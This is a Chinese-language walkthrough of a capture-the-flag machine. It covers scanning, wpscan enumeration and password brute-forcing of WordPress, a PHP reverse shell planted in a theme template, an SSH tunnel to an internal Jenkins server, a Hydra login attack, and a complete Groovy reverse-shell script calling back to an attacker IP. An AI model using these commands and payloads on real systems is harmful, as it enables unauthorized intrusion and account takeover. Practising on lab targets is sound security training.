Penetration Testing Challenge
Nmap
访问80
扫目录
1
| gobuster dir -u http://10.10.8.207 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
|
1 2
| echo 10.10.8.207 internal.thm > /etc/hosts cat /etc/hosts
|
wpscan
wpscan使用教程
1 2 3 4 5 6 7 8 9 10 11
| wpscan --update 更新漏洞库 https://wpscan.com/register 申请 api-token wpscan --url http://192.168.15.176/wordpress --api-token api-key wpscan --url http://192.168.15.176/wordpress wpscan --url http://192.168.15.176/wordpress --enumerate t 扫描主题 wpscan --url http://192.168.15.176/wordpress --enumerate vt 扫描主题漏洞 wpscan --url http://192.168.15.176/wordpress --enumerate p 扫描安装的插件 wpscan --url http://192.168.15.176/wordpress --enumerate vp 扫描安装插件的漏洞 wpscan --url http://192.168.15.176/wordpress --enumerate u 枚举用户id wpscan --url http://xxxx --wordlist 密码字典 --username 用户名或者密码字典 wpscan --url http://192.168.15.176/wordpress --enmuerate vp,vt,tt,u 命令集合
|
1
| wpscan --url http://internal.thm/blog -eu
|
扫描出一个admin用户用字典尝试爆破
1
| wpscan --url http://internal.thm/blog -U admin -P /usr/share/wordlists/rockyou.txt
|
得到密码my2boys
登录到后台
模板处开头添加一个reverse_shell
![[php-reverse-shell.php]]
访问:http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php
得到一个shell
在opt发现一个wp-save.txt存放着一个账密,尝试切换这个用户
1
| aubreanna: bubb13guM!@#123
|
登录成功找到第一个flag 同时知道了Jenkins在内网的8080端口
端口转发
在kali本机上执行
1
| ssh -L 6767:172.17.0.2:8080 aubreanna@10.10.8.207
|
访问http://localhost:6767
1 2 3 4 5
| admin admin admin password都不对 ssh登录的密码也不对 用九头蛇跑admin的密码
|
Hydra
最终构成语句
1
| hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 6767 127.0.0.1 http-post-form '/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password'
|
得到密码
一样的写Groovy脚本反弹shell
1 2 3 4 5 6
| Thread.start { String host="10.13.40.87"; int port=4242; String cmd="/bin/bash"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); }
|
在note.txt找到root的登录账号和密码